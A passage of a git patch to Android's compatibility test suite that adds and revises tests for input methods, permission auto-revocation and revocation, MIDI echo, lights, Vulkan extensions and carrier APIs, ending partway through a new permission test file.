index 0000000..58d5c42
--- /dev/null
+++ b/tests/inputmethod/testapp/src/android/view/inputmethod/ctstestapp/MainActivity.java
@@ -0,0 +1,65 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.view.inputmethod.ctstestapp;
+
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_VISIBLE;
+
+import android.app.Activity;
+import android.net.Uri;
+import android.os.Bundle;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+
+import androidx.annotation.Nullable;
+
+/**
+ * A test {@link Activity} that automatically shows the input method.
+ */
+public final class MainActivity extends Activity {
+
+ private static final String EXTRA_KEY_PRIVATE_IME_OPTIONS =
+ "android.view.inputmethod.ctstestapp.EXTRA_KEY_PRIVATE_IME_OPTIONS";
+
+ @Nullable
+ private String getPrivateImeOptions() {
+ if (getPackageManager().isInstantApp()) {
+ final Uri uri = getIntent().getData();
+ if (uri == null || !uri.isHierarchical()) {
+ return null;
+ }
+ return uri.getQueryParameter(EXTRA_KEY_PRIVATE_IME_OPTIONS);
+ }
+ return getIntent().getStringExtra(EXTRA_KEY_PRIVATE_IME_OPTIONS);
+ }
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+
+ final LinearLayout layout = new LinearLayout(this);
+ layout.setOrientation(LinearLayout.VERTICAL);
+ final EditText editText = new EditText(this);
+ editText.setHint("editText");
+ final String privateImeOptions = getPrivateImeOptions();
+ if (privateImeOptions != null) {
+ editText.setPrivateImeOptions(privateImeOptions);
+ }
+ editText.requestFocus();
+ layout.addView(editText);
+ getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_VISIBLE);
+ setContentView(layout);
+ }
+}
diff --git a/tests/signature/api/Android.mk b/tests/signature/api/Android.mk
index af99a5b..d91f511 100644
--- a/tests/signature/api/Android.mk
+++ b/tests/signature/api/Android.mk
@@ -23,7 +23,7 @@
LOCAL_MODULE := cts-$(subst .,-,$(1))
LOCAL_MODULE_STEM := $(1)
LOCAL_MODULE_CLASS := ETC
-LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests
+LOCAL_COMPATIBILITY_SUITE := arcts cts vts general-tests sts
include $(BUILD_SYSTEM)/base_rules.mk
$$(LOCAL_BUILT_MODULE): $(2) | $(APICHECK)
@echo "Convert API file $$< -> $$@"
diff --git a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
index e7d8ab9..8f2d6fc 100644
--- a/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
+++ b/tests/tests/carrierapi/src/android/carrierapi/cts/CarrierApiTest.java
@@ -570,6 +570,7 @@
public void testGetManualNetworkSelectionPlmnPersisted() throws Exception {
if (!hasCellular) return;
+ if (mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_GSM) return;
try {
mTelephonyManager.setNetworkSelectionModeManual(
@@ -593,6 +594,7 @@
public void testIsManualNetworkSelectionAllowed() throws Exception {
if (!hasCellular) return;
+ if (mTelephonyManager.getPhoneType() != TelephonyManager.PHONE_TYPE_GSM) return;
try {
assertTrue(mTelephonyManager.isManualNetworkSelectionAllowed());
diff --git a/tests/tests/content/res/color/testcolor_complex.xml b/tests/tests/content/res/color/testcolor_complex.xml
new file mode 100644
index 0000000..2d50e1b
--- /dev/null
+++ b/tests/tests/content/res/color/testcolor_complex.xml
@@ -0,0 +1,24 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<selector xmlns:android="http://schemas.android.com/apk/res/android">
+ <item android:state_enabled="false"
+ android:alpha="?android:attr/disabledAlpha"
+ android:color="?android:attr/colorForeground"/>
+ <item android:alpha="?android:attr/secondaryContentAlpha"
+ android:color="?android:attr/colorForeground"/>
+</selector>
\ No newline at end of file
diff --git a/tests/tests/content/res/layout/complex_color_drawable_attr_layout.xml b/tests/tests/content/res/layout/complex_color_drawable_attr_layout.xml
index 4d2042a..2ffed3e 100644
--- a/tests/tests/content/res/layout/complex_color_drawable_attr_layout.xml
+++ b/tests/tests/content/res/layout/complex_color_drawable_attr_layout.xml
@@ -19,6 +19,6 @@
android:orientation="vertical"
android:layout_width="match_parent"
android:layout_height="wrap_content"
- android:background="?android:attr/textColorSecondary">
+ android:background="@color/testcolor_complex">
</LinearLayout>
diff --git a/tests/tests/graphics/jni/VulkanTestHelpers.cpp b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
index 7092b86..b549b97 100644
--- a/tests/tests/graphics/jni/VulkanTestHelpers.cpp
+++ b/tests/tests/graphics/jni/VulkanTestHelpers.cpp
@@ -69,6 +69,29 @@
} // namespace
+static bool enumerateDeviceExtensions(VkPhysicalDevice device,
+ std::vector<VkExtensionProperties>* extensions) {
+ VkResult result;
+
+ uint32_t count = 0;
+ result = vkEnumerateDeviceExtensionProperties(device, nullptr, &count, nullptr);
+ if (result != VK_SUCCESS) return false;
+
+ extensions->resize(count);
+ result = vkEnumerateDeviceExtensionProperties(device, nullptr, &count, extensions->data());
+ if (result != VK_SUCCESS) return false;
+
+ return true;
+}
+
+static bool hasExtension(const char* extension_name,
+ const std::vector<VkExtensionProperties>& extensions) {
+ return std::find_if(extensions.cbegin(), extensions.cend(),
+ [extension_name](const VkExtensionProperties& extension) {
+ return strcmp(extension.extensionName, extension_name) == 0;
+ }) != extensions.cend();
+}
+
bool VkInit::init() {
VkApplicationInfo appInfo = {
.sType = VK_STRUCTURE_TYPE_APPLICATION_INFO,
@@ -108,6 +131,12 @@
ASSERT(status == VK_SUCCESS || status == VK_INCOMPLETE);
ASSERT(gpuCount > 0);
+ std::vector<VkExtensionProperties> supportedDeviceExtensions;
+ ASSERT(enumerateDeviceExtensions(mGpu, &supportedDeviceExtensions));
+ for (const auto extension : deviceExt) {
+ ASSERT(hasExtension(extension, supportedDeviceExtensions));
+ }
+
uint32_t queueFamilyCount = 0;
vkGetPhysicalDeviceQueueFamilyProperties(mGpu, &queueFamilyCount, nullptr);
ASSERT(queueFamilyCount != 0);
diff --git a/tests/tests/hardware/src/android/hardware/lights/cts/LightsManagerTest.java b/tests/tests/hardware/src/android/hardware/lights/cts/LightsManagerTest.java
index 78455b1..aca19ec 100755
--- a/tests/tests/hardware/src/android/hardware/lights/cts/LightsManagerTest.java
+++ b/tests/tests/hardware/src/android/hardware/lights/cts/LightsManagerTest.java
@@ -44,8 +44,10 @@
@SmallTest
public class LightsManagerTest {
- private static final LightState ON_TAN = new LightState(0xffd2b48c);
- private static final LightState ON_RED = new LightState(0xffff0000);
+ private static final int ON_TAN = 0xffd2b48c;
+ private static final int ON_RED = 0xffff0000;
+ private static final LightState STATE_TAN = new LightState(ON_TAN);
+ private static final LightState STATE_RED = new LightState(ON_RED);
private LightsManager mManager;
private List<Light> mLights;
@@ -90,7 +92,7 @@
try (LightsManager.LightsSession session = mManager.openSession()) {
// When the session requests to turn a single light on:
session.requestLights(new Builder()
- .setLight(mLights.get(0), ON_RED)
+ .setLight(mLights.get(0), STATE_RED)
.build());
// Then the light should turn on.
@@ -129,7 +131,7 @@
try (LightsManager.LightsSession session = mManager.openSession()) {
// When a session commits changes:
- session.requestLights(new Builder().setLight(mLights.get(0), ON_TAN).build());
+ session.requestLights(new Builder().setLight(mLights.get(0), STATE_TAN).build());
// Then the light should turn on.
assertThat(mManager.getLightState(mLights.get(0)).getColor()).isEqualTo(ON_TAN);
@@ -148,8 +150,8 @@
LightsManager.LightsSession session2 = mManager.openSession()) {
// When session1 and session2 both request the same light:
- session1.requestLights(new Builder().setLight(mLights.get(0), ON_TAN).build());
- session2.requestLights(new Builder().setLight(mLights.get(0), ON_RED).build());
+ session1.requestLights(new Builder().setLight(mLights.get(0), STATE_TAN).build());
+ session2.requestLights(new Builder().setLight(mLights.get(0), STATE_RED).build());
// Then session1 should win because it was created first.
assertThat(mManager.getLightState(mLights.get(0)).getColor()).isEqualTo(ON_TAN);
@@ -171,7 +173,7 @@
try (LightsManager.LightsSession session = mManager.openSession()) {
// When the session turns a light on:
- session.requestLights(new Builder().setLight(mLights.get(0), ON_RED).build());
+ session.requestLights(new Builder().setLight(mLights.get(0), STATE_RED).build());
// And then the session clears it again:
session.requestLights(new Builder().clearLight(mLights.get(0)).build());
// Then the light should turn back off.
diff --git a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
index c0b297f..e67f6de 100644
--- a/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
+++ b/tests/tests/media/src/android/media/cts/MediaExtractorTest.java
@@ -474,7 +474,7 @@
}
}
- // Not all devices support AC4
+ // Not all devices support AC4.
if (ac4TrackIndex == -1) {
List<AudioPresentation> presentations =
mExtractor.getAudioPresentations(0 /*trackIndex*/);
diff --git a/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java b/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
index eb9cbcb..960149b 100644
--- a/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
+++ b/tests/tests/nativemidi/java/android/nativemidi/cts/NativeMidiEchoTest.java
@@ -240,9 +240,8 @@
@Test
public void test_A_MidiManager() throws Exception {
if (!hasMidiSupport()) {
- return; // Nothing to test
+ return;
}
-
Assert.assertNotNull("MidiManager not supported.", mMidiManager);
// There should be at least one device for the Echo server.
@@ -251,7 +250,6 @@
Assert.assertTrue("device list was empty", infos.length >= 1);
}
-
@Test
public void test_AA_LibAMidiExists() throws Exception {
if (!hasMidiSupport()) {
@@ -266,10 +264,6 @@
return; // Nothing to test
}
- if (!hasMidiSupport()) {
- return; // Nothing to test
- }
-
Assert.assertEquals("Didn't start with 0 sends", 0, getNumSends(mTestContext));
Assert.assertEquals("Didn't start with 0 bytes sent", 0, getNumBytesSent(mTestContext));
@@ -286,9 +280,8 @@
@Test
public void test_C_EchoSmallMessage() throws Exception {
if (!hasMidiSupport()) {
- return; // nothing to test
+ return;
}
-
final byte[] buffer = {
(byte) 0x93, 0x47, 0x52
};
@@ -312,15 +305,14 @@
@Test
public void test_D_EchoNMessages() throws Exception {
if (!hasMidiSupport()) {
- return; // nothing to test
+ return;
}
-
int numMessages = 100;
byte[][] buffers = new byte[numMessages][];
long timestamps[] = new long[numMessages];
generateRandomBufers(buffers, timestamps, numMessages);
- for(int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
+ for (int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
writeMidiWithTimestamp(mTestContext, buffers[msgIndex], 0, buffers[msgIndex].length,
timestamps[msgIndex]);
}
@@ -334,7 +326,7 @@
numMessages, getNumReceivedMessages(mTestContext));
// correct data & order?
- for(int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
+ for (int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
NativeMidiMessage message = getReceivedMessageAt(mTestContext, msgIndex);
compareMessages(buffers[msgIndex], timestamps[msgIndex], message);
}
@@ -343,17 +335,16 @@
@Test
public void test_E_FlushMessages() throws Exception {
if (!hasMidiSupport()) {
- return; // nothing to test
+ return;
}
-
int numMessages = 7;
byte[][] buffers = new byte[numMessages][];
long timestamps[] = new long[numMessages];
generateRandomBufers(buffers, timestamps, numMessages);
- for(int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
+ for (int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
writeMidiWithTimestamp(mTestContext, buffers[msgIndex], 0, buffers[msgIndex].length,
- timestamps[msgIndex]);
+ timestamps[msgIndex]);
}
// Wait for message to pass through echo service.
@@ -368,7 +359,7 @@
numMessages, getNumReceivedMessages(mTestContext));
// correct data & order?
- for(int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
+ for (int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
NativeMidiMessage message = getReceivedMessageAt(mTestContext, msgIndex);
compareMessages(buffers[msgIndex], timestamps[msgIndex], message);
}
@@ -377,9 +368,8 @@
@Test
public void test_F_HugeMessage() throws Exception {
if (!hasMidiSupport()) {
- return; // nothing to test
+ return;
}
-
// Arbitrarily large message.
int hugeMessageLen = 1024 * 10;
byte[] buffer = generateRandomMessage(hugeMessageLen);
@@ -399,12 +389,11 @@
@Test
public void test_G_NativeEchoTime() throws Exception {
if (!hasMidiSupport()) {
- return; // nothing to test
+ return;
}
-
final int numMessages = 10;
final long maxLatencyNanos = 15 * NANOS_PER_MSEC; // generally < 3 msec on N6
- byte[] buffer = { (byte) 0x93, 0, 64 };
+ byte[] buffer = {(byte) 0x93, 0, 64};
// Send multiple messages in a burst.
for (int index = 0; index < numMessages; index++) {
@@ -425,9 +414,10 @@
// If this test fails then there may be a problem with the thread scheduler
// or there may be kernel activity that is blocking execution at the user level.
Assert.assertTrue("MIDI round trip latency index:" + msgIndex
- + " too large, " + elapsedNanos
- + " nanoseconds " +
- "timestamp:" + message.timestamp + " received:" + message.timeReceived,
+ + " too large, " + elapsedNanos
+ + " nanoseconds " +
+ "timestamp:" + message.timestamp +
+ " received:" + message.timeReceived,
(elapsedNanos < maxLatencyNanos));
}
}
@@ -435,15 +425,14 @@
@Test
public void test_H_EchoNMessages_PureNative() throws Exception {
if (!hasMidiSupport()) {
- return; // nothing to test
+ return;
}
-
int numMessages = 2;
byte[][] buffers = new byte[numMessages][];
long timestamps[] = new long[numMessages];
generateRandomBufers(buffers, timestamps, numMessages);
- for(int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
+ for (int msgIndex = 0; msgIndex < numMessages; msgIndex++) {
writeMidiWithTimestamp(mTestContext, buffers[msgIndex], 0, buffers[msgIndex].length,
timestamps[msgIndex]);
}
@@ -463,12 +452,11 @@
@Test
public void test_I_NativeEchoTime_PureNative() throws Exception {
if (!hasMidiSupport()) {
- return; // nothing to test
+ return;
}
-
final int numMessages = 10;
final long maxLatencyNanos = 15 * NANOS_PER_MSEC; // generally < 3 msec on N6
- byte[] buffer = { (byte) 0x93, 0, 64 };
+ byte[] buffer = {(byte) 0x93, 0, 64};
// Send multiple messages in a burst.
for (int index = 0; index < numMessages; index++) {
diff --git a/tests/tests/os/Android.mk b/tests/tests/os/Android.mk
index 1b7938a..043578a2 100644
--- a/tests/tests/os/Android.mk
+++ b/tests/tests/os/Android.mk
@@ -14,6 +14,8 @@
# platform version check (b/32056228)
# ============================================================
+LOCAL_PATH:= $(call my-dir)
+
include $(CLEAR_VARS)
LOCAL_MODULE := cts-platform-version-check
diff --git a/tests/tests/os/AutoRevokePreRApp/Android.bp b/tests/tests/os/AutoRevokePreRApp/Android.bp
new file mode 100644
index 0000000..254f9eb
--- /dev/null
+++ b/tests/tests/os/AutoRevokePreRApp/Android.bp
@@ -0,0 +1,30 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+ name: "CtsAutoRevokePreRApp",
+ defaults: ["cts_defaults"],
+ sdk_version: "test_current",
+ // Tag this module as a cts test artifact
+ test_suites: [
+ "cts",
+ "vts",
+ "vts10",
+ "mts",
+ "general-tests",
+ ],
+ srcs: ["src/**/*.java", "src/**/*.kt"],
+}
diff --git a/tests/tests/os/AutoRevokePreRApp/AndroidManifest.xml b/tests/tests/os/AutoRevokePreRApp/AndroidManifest.xml
new file mode 100644
index 0000000..972a19f
--- /dev/null
+++ b/tests/tests/os/AutoRevokePreRApp/AndroidManifest.xml
@@ -0,0 +1,35 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+ ~ Copyright (C) 2020 The Android Open Source Project
+ ~
+ ~ Licensed under the Apache License, Version 2.0 (the "License");
+ ~ you may not use this file except in compliance with the License.
+ ~ You may obtain a copy of the License at
+ ~
+ ~ http://www.apache.org/licenses/LICENSE-2.0
+ ~
+ ~ Unless required by applicable law or agreed to in writing, software
+ ~ distributed under the License is distributed on an "AS IS" BASIS,
+ ~ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ ~ See the License for the specific language governing permissions and
+ ~ limitations under the License.
+ -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+ package="android.os.cts.autorevokeprerapp">
+
+ <uses-permission android:name="android.permission.READ_CALENDAR" />
+
+ <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29" />
+ <application>
+ <activity android:name="android.os.cts.autorevokeprerapp.MainActivity"
+ android:exported="true"
+ android:visibleToInstantApps="true" >
+ <intent-filter>
+ <action android:name="android.intent.action.MAIN"/>
+ <category android:name="android.intent.category.LAUNCHER"/>
+ </intent-filter>
+ </activity>
+ </application>
+</manifest>
+
diff --git a/tests/tests/os/AutoRevokePreRApp/src/android/os/cts/autorevokeprerapp/MainActivity.kt b/tests/tests/os/AutoRevokePreRApp/src/android/os/cts/autorevokeprerapp/MainActivity.kt
new file mode 100644
index 0000000..ad4066b
--- /dev/null
+++ b/tests/tests/os/AutoRevokePreRApp/src/android/os/cts/autorevokeprerapp/MainActivity.kt
@@ -0,0 +1,29 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.os.cts.autorevokeprerapp
+
+import android.app.Activity
+import android.os.Bundle
+
+class MainActivity : Activity() {
+
+ override fun onCreate(savedInstanceState: Bundle?) {
+ super.onCreate(savedInstanceState)
+
+ requestPermissions(arrayOf("android.permission.READ_CALENDAR"), 0)
+ }
+}
diff --git a/tests/tests/os/CtsOsTestCases.xml b/tests/tests/os/CtsOsTestCases.xml
index 193eb0f..72902e68 100644
--- a/tests/tests/os/CtsOsTestCases.xml
+++ b/tests/tests/os/CtsOsTestCases.xml
@@ -46,5 +46,6 @@
<!-- Load additional APKs onto device -->
<target_preparer class="com.android.compatibility.common.tradefed.targetprep.FilePusher">
<option name="push" value="CtsAutoRevokeDummyApp.apk->/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk" />
+ <option name="push" value="CtsAutoRevokePreRApp.apk->/data/local/tmp/cts/os/CtsAutoRevokePreRApp.apk" />
</target_preparer>
</configuration>
diff --git a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
index 357e9c7..ab22e7e 100644
--- a/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
+++ b/tests/tests/os/src/android/os/cts/AutoRevokeTest.kt
@@ -22,6 +22,7 @@
import android.content.pm.PackageManager
import android.content.pm.PackageManager.PERMISSION_DENIED
import android.content.pm.PackageManager.PERMISSION_GRANTED
+import android.content.res.Resources
import android.net.Uri
import android.platform.test.annotations.AppModeFull
import android.provider.DeviceConfig
@@ -31,10 +32,17 @@
import android.test.InstrumentationTestCase
import android.view.accessibility.AccessibilityNodeInfo
import android.widget.Switch
-import com.android.compatibility.common.util.*
import com.android.compatibility.common.util.textAsString
import com.android.compatibility.common.util.MatcherUtils.hasTextThat
-import com.android.compatibility.common.util.SystemUtil.*
+import com.android.compatibility.common.util.SystemUtil
+import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import com.android.compatibility.common.util.ThrowingSupplier
+import com.android.compatibility.common.util.UiAutomatorUtils
+import com.android.compatibility.common.util.click
+import com.android.compatibility.common.util.depthFirstSearch
+import com.android.compatibility.common.util.lowestCommonAncestor
+import com.android.compatibility.common.util.uiDump
import org.hamcrest.CoreMatchers.containsString
import org.hamcrest.CoreMatchers.containsStringIgnoringCase
import org.hamcrest.Matcher
@@ -46,6 +54,8 @@
private const val APK_PATH = "/data/local/tmp/cts/os/CtsAutoRevokeDummyApp.apk"
private const val APK_PACKAGE_NAME = "android.os.cts.autorevokedummyapp"
+private const val APK_PATH_2 = "/data/local/tmp/cts/os/CtsAutoRevokePreRApp.apk"
+private const val APK_PACKAGE_NAME_2 = "android.os.cts.autorevokeprerapp"
private const val READ_CALENDAR = "android.permission.READ_CALENDAR"
/**
@@ -53,6 +63,9 @@
*/
class AutoRevokeTest : InstrumentationTestCase() {
+ private val mPermissionControllerResources: Resources = context.createPackageContext(
+ context.packageManager.permissionControllerPackageName, 0).resources
+
companion object {
const val LOG_TAG = "AutoRevokeTest"
}
@@ -105,7 +118,7 @@
// Run
runAutoRevoke()
- Thread.sleep(500)
+ Thread.sleep(1000)
// Verify
assertPermission(PERMISSION_GRANTED)
@@ -114,6 +127,47 @@
}
@AppModeFull(reason = "Uses separate apps for testing")
+ fun testPreRUnusedApp_doesntGetPermissionRevoked() {
+ wakeUpScreen()
+ withUnusedThresholdMs(3L) {
+ withDummyApp(APK_PATH_2, APK_PACKAGE_NAME_2) {
+ withDummyApp {
+ startApp(APK_PACKAGE_NAME_2)
+ clickPermissionAllow()
+ eventually {
+ assertPermission(PERMISSION_GRANTED, APK_PACKAGE_NAME_2)
+ }
+
+ goBack()
+ goHome()
+ goBack()
+
+ startApp()
+ clickPermissionAllow()
+ eventually {
+ assertPermission(PERMISSION_GRANTED)
+ }
+
+ goBack()
+ goHome()
+ goBack()
+ Thread.sleep(20)
+
+ // Run
+ runAutoRevoke()
+ Thread.sleep(500)
+
+ // Verify
+ eventually {
+ assertPermission(PERMISSION_DENIED)
+ assertPermission(PERMISSION_GRANTED, APK_PACKAGE_NAME_2)
+ }
+ }
+ }
+ }
+ }
+
+ @AppModeFull(reason = "Uses separate apps for testing")
fun testAutoRevoke_userWhitelisting() {
wakeUpScreen()
withUnusedThresholdMs(4L) {
@@ -261,8 +315,17 @@
}
private fun clickPermissionAllow() {
- waitFindObject(By.res("com.android.permissioncontroller:id/permission_allow_button"))
- .click()
+ if (context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE)) {
+ waitFindObject(By.text(Pattern.compile(
+ Pattern.quote(mPermissionControllerResources.getString(
+ mPermissionControllerResources.getIdentifier(
+ "grant_dialog_button_allow", "string",
+ "com.android.permissioncontroller"))),
+ Pattern.CASE_INSENSITIVE or Pattern.UNICODE_CASE))).click()
+ } else {
+ waitFindObject(By.res("com.android.permissioncontroller:id/permission_allow_button"))
+ .click()
+ }
}
private inline fun withDummyApp(
@@ -284,7 +347,8 @@
runWithShellPermissionIdentity {
assertEquals(
permissionStateToString(state),
- permissionStateToString(context.packageManager.checkPermission(READ_CALENDAR, APK_PACKAGE_NAME)))
+ permissionStateToString(
+ context.packageManager.checkPermission(READ_CALENDAR, packageName)))
}
}
diff --git a/tests/tests/permission/src/android/permission/cts/NoActivityRelatedPermissionTest.java b/tests/tests/permission/src/android/permission/cts/NoActivityRelatedPermissionTest.java
index 4ae88c8..835ba12 100644
--- a/tests/tests/permission/src/android/permission/cts/NoActivityRelatedPermissionTest.java
+++ b/tests/tests/permission/src/android/permission/cts/NoActivityRelatedPermissionTest.java
@@ -53,21 +53,23 @@
ActivityManager manager = (ActivityManager) getActivity()
.getSystemService(Context.ACTIVITY_SERVICE);
List<ActivityManager.RunningTaskInfo> runningTasks = manager.getRunningTasks(10);
- // Current implementation should only return tasks for home and the caller.
- // We'll be done and task this to mean it shouldn't return more than 2.
+ // Current implementation should only return tasks for home and the caller. Since there can
+ // be multiple home tasks, we remove them from the list and then check that there is one or
+ // less task left in the list.
+ removeHomeRunningTasks(runningTasks);
assertTrue("Found tasks: " + runningTasks,
- runningTasks == null || runningTasks.size() <= 2);
+ runningTasks == null || runningTasks.size() <= 1);
List<ActivityManager.RecentTaskInfo> recentTasks = manager.getRecentTasks(10,
ActivityManager.RECENT_WITH_EXCLUDED);
// Current implementation should only return tasks for home and the caller. Since there can
// be multiple home tasks, we remove them from the list and then check that there is one or
// less task left in the list.
- removeHomeTasks(recentTasks);
+ removeHomeRecentsTasks(recentTasks);
assertTrue("Found tasks: " + recentTasks, recentTasks == null || recentTasks.size() <= 1);
}
- private void removeHomeTasks(List<ActivityManager.RecentTaskInfo> tasks) {
+ private void removeHomeRecentsTasks(List<ActivityManager.RecentTaskInfo> tasks) {
for (int i = tasks.size() -1; i >= 0; i--) {
ActivityManager.RecentTaskInfo task = tasks.get(i);
if (task.baseIntent != null && isHomeIntent(task.baseIntent)) {
@@ -76,9 +78,19 @@
}
}
+ private void removeHomeRunningTasks(List<ActivityManager.RunningTaskInfo> tasks) {
+ for (int i = tasks.size() -1; i >= 0; i--) {
+ ActivityManager.RunningTaskInfo task = tasks.get(i);
+ if (task.baseIntent != null && isHomeIntent(task.baseIntent)) {
+ tasks.remove(i);
+ }
+ }
+ }
+
private boolean isHomeIntent(Intent intent) {
return Intent.ACTION_MAIN.equals(intent.getAction())
- && intent.hasCategory(Intent.CATEGORY_HOME)
+ && (intent.hasCategory(Intent.CATEGORY_HOME)
+ || intent.hasCategory(Intent.CATEGORY_SECONDARY_HOME))
&& intent.getCategories().size() == 1
&& intent.getData() == null
&& intent.getType() == null;
diff --git a/tests/tests/permission/src/android/permission/cts/RevokePermissionTest.kt b/tests/tests/permission/src/android/permission/cts/RevokePermissionTest.kt
new file mode 100644
index 0000000..dea2194
--- /dev/null
+++ b/tests/tests/permission/src/android/permission/cts/RevokePermissionTest.kt
@@ -0,0 +1,186 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.permission.cts
+
+import android.Manifest.permission.CAMERA
+import android.Manifest.permission.READ_CALENDAR
+import android.content.pm.PackageManager
+import android.content.pm.PackageManager.PERMISSION_GRANTED
+import android.os.Process
+import android.platform.test.annotations.AppModeFull
+import androidx.test.platform.app.InstrumentationRegistry
+import com.android.compatibility.common.util.SystemUtil.runShellCommand
+import com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity
+import org.junit.After
+import org.junit.Assert.assertEquals
+import org.junit.Before
+import org.junit.Test
+
+class RevokePermissionTest {
+
+ private val APP_PKG_NAME = "android.permission.cts.appthatrequestcustompermission"
+ private val APK = "/data/local/tmp/cts/permissions/" +
+ "CtsAppThatRequestsCalendarContactsBodySensorCustomPermission.apk"
+
+ @Before
+ fun installApp() {
+ runShellCommand("pm install -r -g $APK")
+ }
+
+ @Test
+ @AppModeFull(reason = "Instant apps can't revoke permissions.")
+ fun testRevokePermission() {
+ testRevoke(
+ packageName = APP_PKG_NAME,
+ permission = READ_CALENDAR,
+ isGranted = true)
+ }
+
+ @Test
+ @AppModeFull(reason = "Instant apps can't revoke permissions.")
+ fun testRevokePermissionNotRequested() {
+ testRevoke(
+ packageName = APP_PKG_NAME,
+ permission = CAMERA,
+ throwableType = SecurityException::class.java,
+ throwableMessage = "has not requested permission")
+ }
+
+ @Test
+ @AppModeFull(reason = "Instant apps can't revoke permissions.")
+ fun testRevokeFakePermission() {
+ val fakePermissionName = "FAKE_PERMISSION"
+ testRevoke(
+ packageName = APP_PKG_NAME,
+ permission = fakePermissionName,
+ throwableType = java.lang.IllegalArgumentException::class.java,
+ throwableMessage = "Unknown permission: $fakePermissionName")
+ }
+
+ @Test
+ @AppModeFull(reason = "Instant apps can't revoke permissions.")
+ fun testRevokeFakePackage() {
+ val fakePackageName = "fake.package.name.which.should.not.exist"
+ assertPackageNotInstalled(fakePackageName)
+ testRevoke(
+ packageName = fakePackageName,
+ permission = READ_CALENDAR)
+ }
+
+ @Test
+ @AppModeFull(reason = "Instant apps can't revoke permissions.")
+ fun testRevokePermissionWithReason() {
+ testRevoke(
+ packageName = APP_PKG_NAME,
+ permission = READ_CALENDAR,
+ reason = "test reason",
+ isGranted = true)
+ }
+
+ @Test
+ @AppModeFull(reason = "Instant apps can't revoke permissions.")
+ fun testRevokePermissionNotRequestedWithReason() {
+ testRevoke(
+ packageName = APP_PKG_NAME,
